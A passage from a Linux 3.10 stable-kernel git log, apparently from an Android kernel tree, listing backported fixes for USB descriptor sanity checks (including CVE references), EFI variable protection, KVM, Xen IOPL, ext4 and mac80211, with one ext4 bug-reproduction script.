#EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 5 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage" Reported-by: Thomas Schäfer Cc: Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit dda342b8d667a5abe3e1c2ca716ef8ebd99c79f3 Author: Martyn Welch Date: Tue Mar 29 17:47:29 2016 +0100 USB: serial: cp210x: Adding GE Healthcare Device ID commit cddc9434e3dcc37a85c4412fb8e277d3a582e456 upstream. The CP2105 is used in the GE Healthcare Remote Alarm Box, with the Manufacturer ID of 0x1901 and Product ID of 0x0194. Signed-off-by: Martyn Welch Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit aa6540f7249b2211c5f3cd2036824bea0c3247c8 Author: Oliver Neukum Date: Thu Mar 31 12:04:25 2016 -0400 USB: cypress_m8: add endpoint sanity check commit c55aee1bf0e6b6feec8b2927b43f7a09a6d5f754 upstream. An attack using missing endpoints exists. CVE-2016-3137 Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 16c080c8ddf6cdc8f686837ab7950479bf66e8e1 Author: Oliver Neukum Date: Thu Mar 31 12:04:26 2016 -0400 USB: digi_acceleport: do sanity checking for the number of ports commit 5a07975ad0a36708c6b0a5b9fea1ff811d0b0c1f upstream. The driver can be crashed with devices that expose crafted descriptors with too few endpoints. See: http://seclists.org/bugtraq/2016/Mar/61 Signed-off-by: Oliver Neukum [johan: fix OOB endpoint check and add error messages ] Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1c9ff8cc8e8f96a722040634b35f957b8ebaa815 Author: Oliver Neukum Date: Thu Mar 31 12:04:24 2016 -0400 USB: mct_u232: add sanity checking in probe commit 4e9a0b05257f29cf4b75f3209243ed71614d062e upstream. An attack using the lack of sanity checking in probe is known. This patch checks for the existence of a second port. CVE-2016-3136 Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org [johan: add error message ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 55bda09e9fb90fc57aaa083260dfea59bcfd5a2a Author: Oliver Neukum Date: Wed Mar 16 13:26:17 2016 +0100 USB: usb_driver_claim_interface: add sanity checking commit 0b818e3956fc1ad976bee791eadcbb3b5fec5bfd upstream. Attacks that trick drivers into passing a NULL pointer to usb_driver_claim_interface() using forged descriptors are known. This thwarts them by sanity checking. Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 689023ce3aceed310f1d1aa97621430885472f32 Author: Josh Boyer Date: Mon Mar 14 10:42:38 2016 -0400 USB: iowarrior: fix oops with malicious USB descriptors commit 4ec0ef3a82125efc36173062a50624550a900ae0 upstream. The iowarrior driver expects at least one valid endpoint. If given malicious descriptors that specify 0 for the number of endpoints, it will crash in the probe function. Ensure there is at least one endpoint on the interface before using it. The full report of this issue can be found here: http://seclists.org/bugtraq/2016/Mar/87 Reported-by: Ralf Spenneberg Cc: stable Signed-off-by: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4e83839e41a3ff316a460aa749e041f575b660ef Author: Oliver Neukum Date: Wed Feb 10 11:33:18 2016 +0100 usb: retry reset if a device times out commit 264904ccc33c604d4b3141bbd33808152dfac45b upstream. Some devices I got show an inability to operate right after power on if they are already connected. They are beyond recovery if the descriptors are requested multiple times. So in case of a timeout we rather bail early and reset again. But it must be done only on the first loop lest we get into a reset/time out spiral that can be overcome with a retry. This patch is a rework of a patch that fell through the cracks. http://www.spinics.net/lists/linux-usb/msg103263.html Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 937a5009ace4c45a51ee1a08c65b4707f053ec44 Author: Maurizio Lombardi Date: Fri Mar 4 10:41:49 2016 +0100 be2iscsi: set the boot_kset pointer to NULL in case of failure commit 84bd64993f916bcf86270c67686ecf4cea7b8933 upstream. In beiscsi_setup_boot_info(), the boot_kset pointer should be set to NULL in case of failure otherwise an invalid pointer dereference may occur later. Cc: Signed-off-by: Maurizio Lombardi Reviewed-by: Johannes Thumshirn Reviewed-by: Jitendra Bhivare Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eddf73f95730f2b15399c90a74671a8c4cbe7404 Author: Raghava Aditya Renukunta Date: Wed Feb 3 15:06:02 2016 -0800 aacraid: Fix memory leak in aac_fib_map_free commit f88fa79a61726ce9434df9b4aede36961f709f17 upstream. aac_fib_map_free() calls pci_free_consistent() without checking that dev->hw_fib_va is not NULL and dev->max_fib_size is not zero.If they are indeed NULL/0, this will result in a hang as pci_free_consistent() will attempt to invalidate cache for the entire 64-bit address space (which would take a very long time). Fixed by adding a check to make sure that dev->hw_fib_va and dev->max_fib_size are not NULL and 0 respectively. Fixes: 9ad5204d6 - "[SCSI]aacraid: incorrect dma mapping mask during blinked recover or user initiated reset" Cc: stable@vger.kernel.org Signed-off-by: Raghava Aditya Renukunta Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 75044ba2daef52725f457cad17b25138a6ad6b6b Author: Douglas Gilbert Date: Thu Mar 3 00:31:29 2016 -0500 sg: fix dxferp in from_to case commit 5ecee0a3ee8d74b6950cb41e8989b0c2174568d4 upstream. One of the strange things that the original sg driver did was let the user provide both a data-out buffer (it followed the sg_header+cdb) _and_ specify a reply length greater than zero. What happened was that the user data-out buffer was copied into some kernel buffers and then the mid level was told a read type operation would take place with the data from the device overwriting the same kernel buffers. The user would then read those kernel buffers back into the user space. From what I can tell, the above action was broken by commit fad7f01e61bf ("sg: set dxferp to NULL for READ with the older SG interface") in 2008 and syzkaller found that out recently. Make sure that a user space pointer is passed through when data follows the sg_header structure and command. Fix the abnormal case when a non-zero reply_len is also given. Fixes: fad7f01e61bf737fe8a3740d803f000db57ecac6 Cc: #v2.6.28+ Signed-off-by: Douglas Gilbert Reviewed-by: Ewan Milne Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f0c8ceefd62b80e672901bde0c25c3274e728678 Author: Andy Lutomirski Date: Wed Mar 16 14:14:22 2016 -0700 x86/iopl: Fix iopl capability check on Xen PV commit c29016cf41fe9fa994a5ecca607cf5f1cd98801e upstream. iopl(3) is supposed to work if iopl is already 3, even if unprivileged. This didn't work right on Xen PV. Fix it. Reviewewd-by: Jan Beulich Signed-off-by: Andy Lutomirski Cc: Andrew Cooper Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/8ce12013e6e4c0a44a97e316be4a6faff31bd5ea.1458162709.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 16c25edb99756a09042f857b1f64018356546f89 Author: H. Peter Anvin Date: Sat Apr 27 16:11:17 2013 -0700 x86, processor-flags: Fix the datatypes and add bit number defines commit d1fbefcb3aa608599a3c9e4582cbeeb6ba6c8939 upstream. The control registers are unsigned long (32 bits on i386, 64 bits on x86-64), and so make that manifest in the data type for the various constants. Add defines with a _BIT suffix which defines the bit number, as opposed to the bit mask. This should resolve some issues with ~bitmask that Linus discovered. Reported-by: Linus Torvalds Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/n/tip-cwckhbrib2aux1qbteaebij0@git.kernel.org [wt: backported to 3.10 only to keep next patch clean] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4186b93b7163eba0663239e11e1a56f56f0ae6bd Author: H. Peter Anvin Date: Sat Apr 27 16:37:47 2013 -0700 x86: Rename X86_CR4_RDWRGSFS to X86_CR4_FSGSBASE commit afcbf13fa6d53d8a97eafaca1dcb344331d2ce0c upstream. Rename X86_CR4_RDWRGSFS to X86_CR4_FSGSBASE to match the SDM. Signed-off-by: H. Peter Anvin Cc: Marcelo Tosatti Cc: Gleb Natapov Link: http://lkml.kernel.org/n/tip-buq1evi5dpykxx7ak6amaam0@git.kernel.org [wt: backported to 3.10 only to keep next patch clean] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 01c36a160c8418dec562bd5b37954196051077d3 Author: H. Peter Anvin Date: Sat Apr 27 16:07:49 2013 -0700 linux/const.h: Add _BITUL() and _BITULL() commit 2fc016c5bd8aad2e201cdf71b9fb4573f94775bd upstream. Add macros for single bit definitions of a specific type. These are similar to the BIT() macro that already exists, but with a few exceptions: 1. The namespace is such that they can be used in uapi definitions. 2. The type is set with the _AC() macro to allow it to be used in assembly. 3. The type is explicitly specified to be UL or ULL. Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/n/tip-nbca8p7cg6jyjoit7klh3o91@git.kernel.org [wt: backported to 3.10 only to keep next patch clean] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d1dfe5e084c5a6e9cfea631d294bbcc7e0c9906e Author: Bjorn Helgaas Date: Thu Feb 25 14:35:57 2016 -0600 PCI: Disable IO/MEM decoding for devices with non-compliant BARs commit b84106b4e2290c081cdab521fa832596cdfea246 upstream. The PCI config header (first 64 bytes of each device's config space) is defined by the PCI spec so generic software can identify the device and manage its usage of I/O, memory, and IRQ resources. Some non-spec-compliant devices put registers other than BARs where the BARs should be. When the PCI core sizes these "BARs", the reads and writes it does may have unwanted side effects, and the "BAR" may appear to describe non-sensical address space. Add a flag bit to mark non-compliant devices so we don't touch their BARs. Turn off IO/MEM decoding to prevent the devices from consuming address space, since we can't read the BARs to find out what that address space would be. Signed-off-by: Bjorn Helgaas Tested-by: Andi Kleen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ae3d4e714fc760d4b6cf3f5abc2f5adacb6f585c Author: Dan Carpenter Date: Wed Jan 20 12:54:51 2016 +0300 EDAC, amd64_edac: Shift wrapping issue in f1x_get_norm_dct_addr() commit 6f3508f61c814ee852c199988a62bd954c50dfc1 upstream. dct_sel_base_off is declared as a u64 but we're only using the lower 32 bits because of a shift wrapping bug. This can possibly truncate the upper 16 bits of DctSelBaseOffset[47:26], causing us to misdecode the CS row. Fixes: c8e518d5673d ('amd64_edac: Sanitize f10_get_base_addr_offset') Signed-off-by: Dan Carpenter Cc: Aravind Gopalakrishnan Cc: linux-edac Cc: Link: http://lkml.kernel.org/r/20160120095451.GB19898@mwanda Signed-off-by: Borislav Petkov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3e3628a49d4f8d720cabd9e2ce0616b187837dd2 Author: Paolo Bonzini Date: Mon Mar 21 10:15:25 2016 +0100 KVM: fix spin_lock_init order on x86 commit e9ad4ec8379ad1ba6f68b8ca1c26b50b5ae0a327 upstream. Moving the initialization earlier is needed in 4.6 because kvm_arch_init_vm is now using mmu_lock, causing lockdep to complain: [ 284.440294] INFO: trying to register non-static key. [ 284.445259] the code is fine but needs lockdep annotation. [ 284.450736] turning off the locking correctness validator. ... [ 284.528318] [] lock_acquire+0xd3/0x240 [ 284.533733] [] ? kvm_page_track_register_notifier+0x20/0x60 [kvm] [ 284.541467] [] _raw_spin_lock+0x41/0x80 [ 284.546960] [] ? kvm_page_track_register_notifier+0x20/0x60 [kvm] [ 284.554707] [] kvm_page_track_register_notifier+0x20/0x60 [kvm] [ 284.562281] [] kvm_mmu_init_vm+0x20/0x30 [kvm] [ 284.568381] [] kvm_arch_init_vm+0x1ea/0x200 [kvm] [ 284.574740] [] kvm_dev_ioctl+0xbf/0x4d0 [kvm] However, it also helps fixing a preexisting problem, which is why this patch is also good for stable kernels: kvm_create_vm was incrementing current->mm->mm_count but not decrementing it at the out_err label (in case kvm_init_mmu_notifier failed). The new initialization order makes it possible to add the required mmdrop without adding a new error label. Reported-by: Borislav Petkov Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e80134a4f2f2f5fd40eecfb2ee19e3dd3a2ec5a3 Author: Radim KrÄÂmář Date: Wed Mar 2 22:56:38 2016 +0100 KVM: i8254: change PIT discard tick policy commit 7dd0fdff145c5be7146d0ac06732ae3613412ac1 upstream. Discard policy uses ack_notifiers to prevent injection of PIT interrupts before EOI from the last one. This patch changes the policy to always try to deliver the interrupt, which makes a difference when its vector is in ISR. Old implementation would drop the interrupt, but proposed one injects to IRR, like real hardware would. The old policy breaks legacy NMI watchdogs, where PIT is used through virtual wire (LVT0): PIT never sends an interrupt before receiving EOI, thus a guest deadlock with disabled interrupts will stop NMIs. Note that NMI doesn't do EOI, so PIT also had to send a normal interrupt through IOAPIC. (KVM's PIT is deeply rotten and luckily not used much in modern systems.) Even though there is a chance of regressions, I think we can fix the LVT0 NMI bug without introducing a new tick policy. Cc: Reported-by: Yuki Shibuya Reviewed-by: Paolo Bonzini Signed-off-by: Radim KrÄÂmář Signed-off-by: Paolo Bonzini Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9823c817980984056e5b0667b1f48342633882ef Author: Behan Webster Date: Thu Feb 13 12:21:48 2014 -0800 x86: LLVMLinux: Fix "incomplete type const struct x86cpu_device_id" commit c4586256f0c440bc2bdb29d2cbb915f0ca785d26 upstream. Similar to the fix in 40413dcb7b273bda681dca38e6ff0bbb3728ef11 MODULE_DEVICE_TABLE(x86cpu, ...) expects the struct to be called struct x86cpu_device_id, and not struct x86_cpu_id which is what is used in the rest of the kernel code. Although gcc seems to ignore this error, clang fails without this define to fix the name. Code from drivers/thermal/x86_pkg_temp_thermal.c static const struct x86_cpu_id __initconst pkg_temp_thermal_ids[] = { ... }; MODULE_DEVICE_TABLE(x86cpu, pkg_temp_thermal_ids); Error from clang: drivers/thermal/x86_pkg_temp_thermal.c:577:1: error: variable has incomplete type 'const struct x86cpu_device_id' MODULE_DEVICE_TABLE(x86cpu, pkg_temp_thermal_ids); ^ include/linux/module.h:145:3: note: expanded from macro 'MODULE_DEVICE_TABLE' MODULE_GENERIC_TABLE(type##_device, name) ^ include/linux/module.h:87:32: note: expanded from macro 'MODULE_GENERIC_TABLE' extern const struct gtype##_id __mod_##gtype##_table \ ^ :143:1: note: expanded from here __mod_x86cpu_device_table ^ drivers/thermal/x86_pkg_temp_thermal.c:577:1: note: forward declaration of 'struct x86cpu_device_id' include/linux/module.h:145:3: note: expanded from macro 'MODULE_DEVICE_TABLE' MODULE_GENERIC_TABLE(type##_device, name) ^ include/linux/module.h:87:21: note: expanded from macro 'MODULE_GENERIC_TABLE' extern const struct gtype##_id __mod_##gtype##_table \ ^ :141:1: note: expanded from here x86cpu_device_id ^ 1 error generated. Signed-off-by: Behan Webster Signed-off-by: Jan-Simon Möller Acked-by: Greg Kroah-Hartman Signed-off-by: philm@manjaro.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ee53bb5bab799435e456fd0e81203d390d128f64 Author: Joe Perches Date: Thu Jun 25 15:01:02 2015 -0700 compiler-gcc: integrate the various compiler-gcc[345].h files commit cb984d101b30eb7478d32df56a0023e4603cba7f upstream. As gcc major version numbers are going to advance rather rapidly in the future, there's no real value in separate files for each compiler version. Deduplicate some of the macros #defined in each file too. Neaten comments using normal kernel commenting style. Signed-off-by: Joe Perches Cc: Andi Kleen Cc: Michal Marek Cc: Segher Boessenkool Cc: Sasha Levin Cc: Anton Blanchard Cc: Alan Modra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [ philm: backport to 3.10-stable ] Signed-off-by: Philip Müller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9d77539e032243c38703a48eb8da73280e15ba71 Author: Eryu Guan Date: Sat Mar 12 21:40:32 2016 -0500 ext4: fix NULL pointer dereference in ext4_mark_inode_dirty() commit 5e1021f2b6dff1a86a468a1424d59faae2bc63c1 upstream. ext4_reserve_inode_write() in ext4_mark_inode_dirty() could fail on error (e.g. EIO) and iloc.bh can be NULL in this case. But the error is ignored in the following "if" condition and ext4_expand_extra_isize() might be called with NULL iloc.bh set, which triggers NULL pointer dereference. This is uncovered by commit 8b4953e13f4c ("ext4: reserve code points for the project quota feature"), which enlarges the ext4_inode size, and run the following script on new kernel but with old mke2fs: #/bin/bash mnt=/mnt/ext4 devname=ext4-error dev=/dev/mapper/$devname fsimg=/home/fs.img trap cleanup 0 1 2 3 9 15 cleanup() { umount $mnt >/dev/null 2>&1 dmsetup remove $devname losetup -d $backend_dev rm -f $fsimg exit 0 } rm -f $fsimg fallocate -l 1g $fsimg backend_dev=`losetup -f --show $fsimg` devsize=`blockdev --getsz $backend_dev` good_tab="0 $devsize linear $backend_dev 0" error_tab="0 $devsize error $backend_dev 0" dmsetup create $devname --table "$good_tab" mkfs -t ext4 $dev mount -t ext4 -o errors=continue,strictatime $dev $mnt dmsetup load $devname --table "$error_tab" && dmsetup resume $devname echo 3 > /proc/sys/vm/drop_caches ls -l $mnt exit 0 [ Patch changed to simplify the function a tiny bit. -- Ted ] Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c052a972c5be205689f124cff0584644acc260b5 Author: Kamal Mostafa Date: Tue Apr 5 12:24:23 2016 -0700 x86/iopl/64: Properly context-switch IOPL on Xen PV commit b7a584598aea7ca73140cb87b40319944dd3393f upstream. From: Andy Lutomirski On Xen PV, regs->flags doesn't reliably reflect IOPL and the exit-to-userspace code doesn't change IOPL. We need to context switch it manually. I'm doing this without going through paravirt because this is specific to Xen PV. After the dust settles, we can merge this with the 32-bit code, tidy up the iopl syscall implementation, and remove the set_iopl pvop entirely. Fixes XSA-171. Reviewewd-by: Jan Beulich Signed-off-by: Andy Lutomirski Cc: Andrew Cooper Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/693c3bd7aeb4d3c27c92c622b7d0f554a458173c.1458162709.git.luto@kernel.org Signed-off-by: Ingo Molnar [ kamal: backport to 3.19-stable: no X86_FEATURE_XENPV so just call xen_pv_domain() directly ] Acked-by: Andy Lutomirski Signed-off-by: Kamal Mostafa Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit dd8ae61745efbb6b87a1b8b2d7b427ca6e488a5f Author: Greg Kroah-Hartman Date: Wed Mar 16 08:41:47 2016 -0700 Linux 3.10.101 Signed-off-by: Pranav Vashi commit fab8383d8e3fdb9ac4e3727408faa42b7e0ccde2 Author: Greg Kroah-Hartman Date: Sat Mar 12 21:30:16 2016 -0800 Revert: "crypto: af_alg - Disallow bind/setkey/... after accept(2)" This reverts commit 5a707f0972e1c9d8a4a921ddae79d0f9dc36a341 which is commit c840ac6af3f8713a71b4d2363419145760bd6044 upstream. It's been widely reported that this patch breaks existing userspace applications when backported to the stable kernel releases. As no fix seems to be forthcoming, just revert it to let systems work again. Reported-by: "J. Paul Reed" Cc: Dmitry Vyukov Cc: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5b80dcdb1187b9be7cb3f5c5e28d43b16a192b0 Author: Jason Andryuk Date: Fri Feb 12 23:13:33 2016 +0000 lib/ucs2_string: Correct ucs2 -> utf8 conversion commit a68075908a37850918ad96b056acc9ac4ce1bd90 upstream. The comparisons should be >= since 0x800 and 0x80 require an additional bit to store. For the 3 byte case, the existing shift would drop off 2 more bits than intended. For the 2 byte case, there should be 5 bits bits in byte 1, and 6 bits in byte 2. Signed-off-by: Jason Andryuk Reviewed-by: Laszlo Ersek Cc: Peter Jones Cc: Matthew Garrett Cc: "Lee, Chun-Yi" Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d81ba608b3369b993cb464368ce87bac5cdd998f Author: Matt Fleming Date: Mon Feb 15 10:34:05 2016 +0000 efi: Add pstore variables to the deletion whitelist commit e246eb568bc4cbbdd8a30a3c11151ff9b7ca7312 upstream. Laszlo explains why this is a good idea, 'This is because the pstore filesystem can be backed by UEFI variables, and (for example) a crash might dump the last kilobytes of the dmesg into a number of pstore entries, each entry backed by a separate UEFI variable in the above GUID namespace, and with a variable name according to the above pattern. Please see "drivers/firmware/efi/efi-pstore.c". While this patch series will not prevent the user from deleting those UEFI variables via the pstore filesystem (i.e., deleting a pstore fs entry will continue to delete the backing UEFI variable), I think it would be nice to preserve the possibility for the sysadmin to delete Linux-created UEFI variables that carry portions of the crash log, *without* having to mount the pstore filesystem.' There's also no chance of causing machines to become bricked by deleting these variables, which is the whole purpose of excluding things from the whitelist. Use the LINUX_EFI_CRASH_GUID guid and a wildcard '*' for the match so that we don't have to update the string in the future if new variable name formats are created for crash dump variables. Reported-by: Laszlo Ersek Acked-by: Peter Jones Tested-by: Peter Jones Cc: Matthew Garrett Cc: "Lee, Chun-Yi" Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32b163139bdb1b0dea3f8467d3a79b77693c8a50 Author: Peter Jones Date: Mon Feb 8 14:48:15 2016 -0500 efi: Make efivarfs entries immutable by default commit ed8b0de5a33d2a2557dce7f9429dca8cb5bc5879 upstream. "rm -rf" is bricking some peoples' laptops because of variables being used to store non-reinitializable firmware driver data that's required to POST the hardware. These are 100% bugs, and they need to be fixed, but in the mean time it shouldn't be easy to *accidentally* brick machines. We have to have delete working, and picking which variables do and don't work for deletion is quite intractable, so instead make everything immutable by default (except for a whitelist), and make tools that aren't quite so broad-spectrum unset the immutable flag. Signed-off-by: Peter Jones Tested-by: Lee, Chun-Yi Acked-by: Matthew Garrett Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e59f877567d2d6c6d1280df3f0e1f942eb7c238 Author: Peter Jones Date: Mon Feb 8 14:48:14 2016 -0500 efi: Make our variable validation list include the guid commit 8282f5d9c17fe15a9e658c06e3f343efae1a2a2f upstream. All the variables in this list so far are defined to be in the global namespace in the UEFI spec, so this just further ensures we're validating the variables we think we are. Including the guid for entries will become more important in future patches when we decide whether or not to allow deletion of variables based on presence in this list. Signed-off-by: Peter Jones Tested-by: Lee, Chun-Yi Acked-by: Matthew Garrett Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c84c6b7b2b054c85462e0c2838b6dbe713e9390 Author: Peter Jones Date: Mon Feb 8 14:48:13 2016 -0500 efi: Do variable name validation tests in utf8 commit 3dcb1f55dfc7631695e69df4a0d589ce5274bd07 upstream. Actually translate from ucs2 to utf8 before doing the test, and then test against our other utf8 data, instead of fudging it. Signed-off-by: Peter Jones Acked-by: Matthew Garrett Tested-by: Lee, Chun-Yi Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce52e51c1dd148b1172fc274be9a62c8032015d3 Author: Peter Jones Date: Mon Feb 8 14:48:12 2016 -0500 efi: Use ucs2_as_utf8 in efivarfs instead of open coding a bad version commit e0d64e6a880e64545ad7d55786aa84ab76bac475 upstream. Translate EFI's UCS-2 variable names to UTF-8 instead of just assuming all variable names fit in ASCII. Signed-off-by: Peter Jones Acked-by: Matthew Garrett Tested-by: Lee, Chun-Yi Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96cae8a5ff0121c46832189367d384735bf5dda7 Author: Peter Jones Date: Mon Feb 8 14:48:11 2016 -0500 lib/ucs2_string: Add ucs2 -> utf8 helper functions commit 73500267c930baadadb0d02284909731baf151f7 upstream. This adds ucs2_utf8size(), which tells us how big our ucs2 string is in bytes, and ucs2_as_utf8, which translates from ucs2 to utf8.. Signed-off-by: Peter Jones Tested-by: Lee, Chun-Yi Acked-by: Matthew Garrett Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dbfdbd0eec234eb01b05b0a333054bb4b064c64 Author: Marcelo Tosatti Date: Wed Oct 14 19:33:09 2015 -0300 KVM: x86: move steal time initialization to vcpu entry time commit 7cae2bedcbd4680b155999655e49c27b9cf020fa upstream. As reported at https://bugs.launchpad.net/qemu/+bug/1494350, it is possible to have vcpu->arch.st.last_steal initialized from a thread other than vcpu thread, say the iothread, via KVM_SET_MSRS. Which can cause an overflow later (when subtracting from vcpu threads sched_info.run_delay). To avoid that, move steal time accumulation to vcpu entry time, before copying steal time data to guest. Signed-off-by: Marcelo Tosatti Reviewed-by: David Matlack Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be081f56d998920a37a7f7b2f6d3481bed3781e4 Author: Andreas Schwab Date: Fri Feb 5 19:50:03 2016 +0100 powerpc: Fix dedotify for binutils >= 2.26 commit f15838e9cac8f78f0cc506529bb9d3b9fa589c1f upstream. Since binutils 2.26 BFD is doing suffix merging on STRTAB sections. But dedotify modifies the symbol names in place, which can also modify unrelated symbols with a name that matches a suffix of a dotted name. To remove the leading dot of a symbol name we can just increment the pointer into the STRTAB section instead. Backport to all stables to avoid breakage when people update their binutils - mpe. Signed-off-by: Andreas Schwab Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 72f27bae7a7d00da1422a2b7374c041a741d1574 Author: Felix Fietkau Date: Thu Feb 18 19:49:18 2016 +0100 mac80211: minstrel_ht: set default tx aggregation timeout to 0 commit 7a36b930e6ed4702c866dc74a5ad07318a57c688 upstream. The value 5000 was put here with the addition of the timeout field to ieee80211_start_tx_ba_session. It was originally added in mac80211 to save resources for drivers like iwlwifi, which only supports a limited number of concurrent aggregation sessions. Since iwlwifi does not use minstrel_ht and other drivers don't need this, 0 is a better default - especially since there have been recent reports of aggregation setup related issues reproduced with ath9k. This should improve stability without causing any adverse effects. Acked-by: Avery Pennarun Signed-off-by: Felix Fietkau Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d78981155ce0fcbc72c9e1a2afbe1ee9c226a33f Author: Chris Bainbridge Date: Wed Jan 27 15:46:18 2016 +0000 mac80211: fix use of uninitialised values in RX aggregation commit f39ea2690bd61efec97622c48323f40ed6e16317 upstream. Use kzalloc instead of kmalloc for struct tid_ampdu_rx to initialize the "removed" field (all others are initialized manually). That fixes: UBSAN: Undefined behaviour in net/mac80211/rx.c:932:29 load of value 2 is not a valid value for type '_Bool' CPU: 3 PID: 1134 Comm: kworker/u16:7 Not tainted 4.5.0-rc1+ #265 Workqueue: phy0 rt2x00usb_work_rxdone 0000000000000004 ffff880254a7ba50 ffffffff8181d866 0000000000000007 ffff880254a7ba78 ffff880254a7ba68 ffffffff8188422d ffffffff8379b500 ffff880254a7bab8 ffffffff81884747 0000000000000202 0000000348620032 Call Trace: [] dump_stack+0x45/0x5f [] ubsan_epilogue+0xd/0x40 [] __ubsan_handle_load_invalid_value+0x67/0x70 [] ieee80211_sta_reorder_release.isra.16+0x5ed/0x730 [] ieee80211_prepare_and_rx_handle+0xd04/0x1c00 [] __ieee80211_rx_handle_packet+0x1f3/0x750 [] ieee80211_rx_napi+0x447/0x990 While at it, convert to use sizeof(*tid_agg_rx) instead. Fixes: 788211d81bfdf ("mac80211: fix RX A-MPDU session reorder timer deletion") Signed-off-by: Chris Bainbridge [reword commit message, use sizeof(*tid_agg_rx)] Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c28298f775dd620feb0ebdd0a2d691d84eb27203 Author: Johannes Berg Date: Wed Jan 27 12:37:52 2016 +0100 wext: fix message delay/ordering commit 8bf862739a7786ae72409220914df960a0aa80d8 upstream. Beniamino reported that he was getting an RTM_NEWLINK message for a given interface, after the RTM_DELLINK for it. It turns out that the message is a wireless extensions message, which was sent because the interface had been connected and disconnection while it was deleted caused a wext message. For its netlink messages, wext uses RTM_NEWLINK, but the message is without all the regular rtnetlink attributes, so "ip monitor link" prints just rudimentary information: 5: wlan1: mtu 1500 qdisc mq state DOWN group default link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff Deleted 5: wlan1: mtu 1500 qdisc noop state DOWN group default link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff 5: wlan1: link/ether (from my hwsim reproduction) This can cause userspace to get confused since it doesn't expect an RTM_NEWLINK message after RTM_DELLINK. The reason 